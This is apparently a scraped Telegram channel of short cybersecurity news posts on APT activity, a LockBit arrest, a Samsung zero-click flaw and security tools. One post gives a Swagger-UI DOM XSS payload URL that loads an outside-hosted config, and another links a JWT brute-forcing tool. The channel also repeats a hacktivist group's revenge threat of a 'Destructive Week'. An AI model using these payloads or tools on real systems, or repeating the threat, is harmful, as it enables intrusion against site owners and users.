cKure Red

Prolific cyber security professional, Dr. Reza Avazeh, architect at Hizbollah and many hacktivist groups was executed by Israel 🇮🇱 in a drone strike.

In a message by the hacker group, 'Handala': following statement of threat was made:

😈 Reza Avazeh Operation is coming!

Next Week
Destructive Week

Dr. Reza Avazeh, the former cyber commander of Hezbollah, the commander whose smile in Handala's actions will never be forgotten!

Martyr Reza Avazeh, one of the elites and senior managers of Hezbollah's cyber security, had a Ph.D in computer networks from the University of Tehran, and was martyred on October 20, 2024, along with his wife, engineer Masoume Karbasi, in a drone attack by the Zionist criminal regime in the city of Jounieh!

This cyber security elite was a prominent foundation in the field of Linux and had performed many valuable services in cyber resistance groups! We will never forget your smile! Your revenge is coming!

💻 Handala-Hack.to

Please open Telegram to view this post

VIEW IN TELEGRAM

1.66K viewsedited 05:33

cKure Red

⚽️

The Russian APT group #Turla has gained access to the Pakistani APT group #Sidecopy + #TransparentTribe (Storm-0156)'s C2 server and used it to attack operators in Afghanistan and Pakistan.

https://blog.lumen.com/snowblind-the-invisible-hand-of-secret-blizzard/

https://www.microsoft.com/en-us/security/blog/2024/12/04/frequent-freeloader-part-i-secret-blizzard-compromising-storm-0156-infrastructure-for-espionage/

IoCs:

https://github.com/blacklotuslabs/IOCs/blob/main/Secret_Blizzard_IoCs.txt

Please open Telegram to view this post

VIEW IN TELEGRAM

Lumen Blog

Snowblind: The invisible hand of Secret Blizzard

Find out how Black Lotus Labs uncovered a prolonged espionage campaign by Russian threat group Turla to penetrate Pakistani targets.

1.97K views05:57

cKure Red

⚽️ The Russian APT group #Turla has gained access to the Pakistani APT group #Sidecopy + #TransparentTribe (Storm-0156)'s C2 server and used it to attack operators in Afghanistan and Pakistan. https://blog.lumen.com/snowblind-the-invisible-hand-of-secret…

👍1

2.22K views05:57

cKure Red

● Yer another website:

theyseeyourphotos.com

[Google's AI based photo interpreter]

👍1

2.38K views20:04

cKure Red

📱 (QR) Coding My Way Out of Here: C2 in Browser Isolation Environments.

https://cloud.google.com/blog/topics/threat-intelligence/c2-browser-isolation-environments/

Please open Telegram to view this post

VIEW IN TELEGRAM

Google Cloud Blog

(QR) Coding My Way Out of Here: C2 in Browser Isolation Environments | Google Cloud Blog

A technique to circumvent all types of browser isolation for the purpose of controlling a malicious implant via command and control.

🔥2

2.65K views21:02

cKure Red

☄️

Swagger-UI DOM XSS via DOMPurify library.

example.tld/swagger/ index.html?configUrl=https://xss.smarpo.com/test.json

https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥2

2.45K viewsedited 21:21

cKure Red

🦠

LockBit Ransomware Developer Arrested in Israel.

Dual 🇷🇺 Russian-Israeli 🇮🇱 national Rostislav Panev was arrested last August and is facing extradition to the US for playing a critical role in LockBit's RaaS activities, dating back to the ransomware gang's origins.

https://www.darkreading.com/cyberattacks-data-breaches/lockbit-ransomware-developer-arrested-israel.

Please open Telegram to view this post

VIEW IN TELEGRAM

Darkreading

LockBit Ransomware Developer Arrested in Israel

Dual Russian-Israeli national Rostislav Panev was arrested last August and is facing extradition to the US for playing a critical role in LockBit's RaaS activities, dating back to the ransomware gang's origins.

🕊3🔥1

2.53K views13:38

cKure Red

cKure Red pinned Deleted message

15:58

cKure Red

📱

Tool to parse iOS sms.db for SMS messages. Supports message editing and 'unsend'.

https://github.com/h4x0r/parse_sms.db/tree/main

Please open Telegram to view this post

VIEW IN TELEGRAM

GitHub

GitHub - h4x0r/parse_sms.db

Contribute to h4x0r/parse_sms.db development by creating an account on GitHub.

2.36K views12:20

cKure Red

🆕

EXIF Stripper: A web based image-metadata remover utility.

https://ckure.esy.es/rx/tools/exif/

*Images are uploaded on a shared hosting server. This may be concerning even though there is a script that removes the pictures from server after regular intervals.

Other Web Utilities: ckure.esy.es/rx

Please open Telegram to view this post

VIEW IN TELEGRAM

🤣1

1.98K views18:45

cKure Red

🔠

Researcher Turns Insecure License Plate Cameras Into Open Source Surveillance Tool.

https://www.404media.co/researcher-turns-insecure-license-plate-cameras-into-open-source-surveillance-tool

https://youtu.be/0dUnY1641WM

Please open Telegram to view this post

VIEW IN TELEGRAM

404 Media

Researcher Turns Insecure License Plate Cameras Into Open Source Surveillance Tool

Privacy advocate draws attention to the fact that hundreds of police surveillance cameras are streaming directly to the open internet.

🔥2🤮1

2K views11:42

cKure Red

🆕 EXIF Stripper: A web based image-metadata remover utility. https://ckure.esy.es/rx/tools/exif/ *Images are uploaded on a shared hosting server. This may be concerning even though there is a script that removes the pictures from server after regular intervals.…

🆕 JWT Breaker: A web based client-side JSON Web Token brute-forcing utility.

https://ckure.esy.es/rx/tools/jwt/

To generate tokens, use: https://ckure.esy.es/rx/tools/jwt/gen.php

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥2

2.06K views15:31

cKure Red

cKure Red pinned «🆕 JWT Breaker: A web based client-side JSON Web Token brute-forcing utility. https://ckure.esy.es/rx/tools/jwt/ To generate tokens, use: https://ckure.esy.es/rx/tools/jwt/gen.php»

15:31

cKure Red

🤍

Google Project Zero researcher uncovers Zero-Click Zero-Day exploit targeting Samsung devices.

CVE-2024-49415: Security flaw impacting Monkey's Audio (APE) decoder on Samsung smartphones that could lead to code execution.

Out-of-bounds write in libsaped.so prior to SMR Dec-2024 Release 1 allows remote attackers to execute arbitrary code.

https://security.samsungmobile.com/securityUpdate.smsb

The function saped_rec in libsaped.so writes to a dmabuf allocated by the C2 media service, which always appears to have size 0x120000.

https://project-zero.issues.chromium.org/issues/368695689

https://thehackernews.com/2025/01/google-project-zero-researcher-uncovers.html

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥2😁22

1.99K views10:08

cKure Red

🔼

baitroute: A web honeypot library to create vulnerable-looking endpoints to detect and mislead attackers.

https://github.com/utkusen/baitroute

https://utkusen.substack.com/p/how-to-create-vulnerable-looking

Please open Telegram to view this post

VIEW IN TELEGRAM

GitHub

GitHub - utkusen/baitroute: A web honeypot library to create vulnerable-looking endpoints to detect and mislead attackers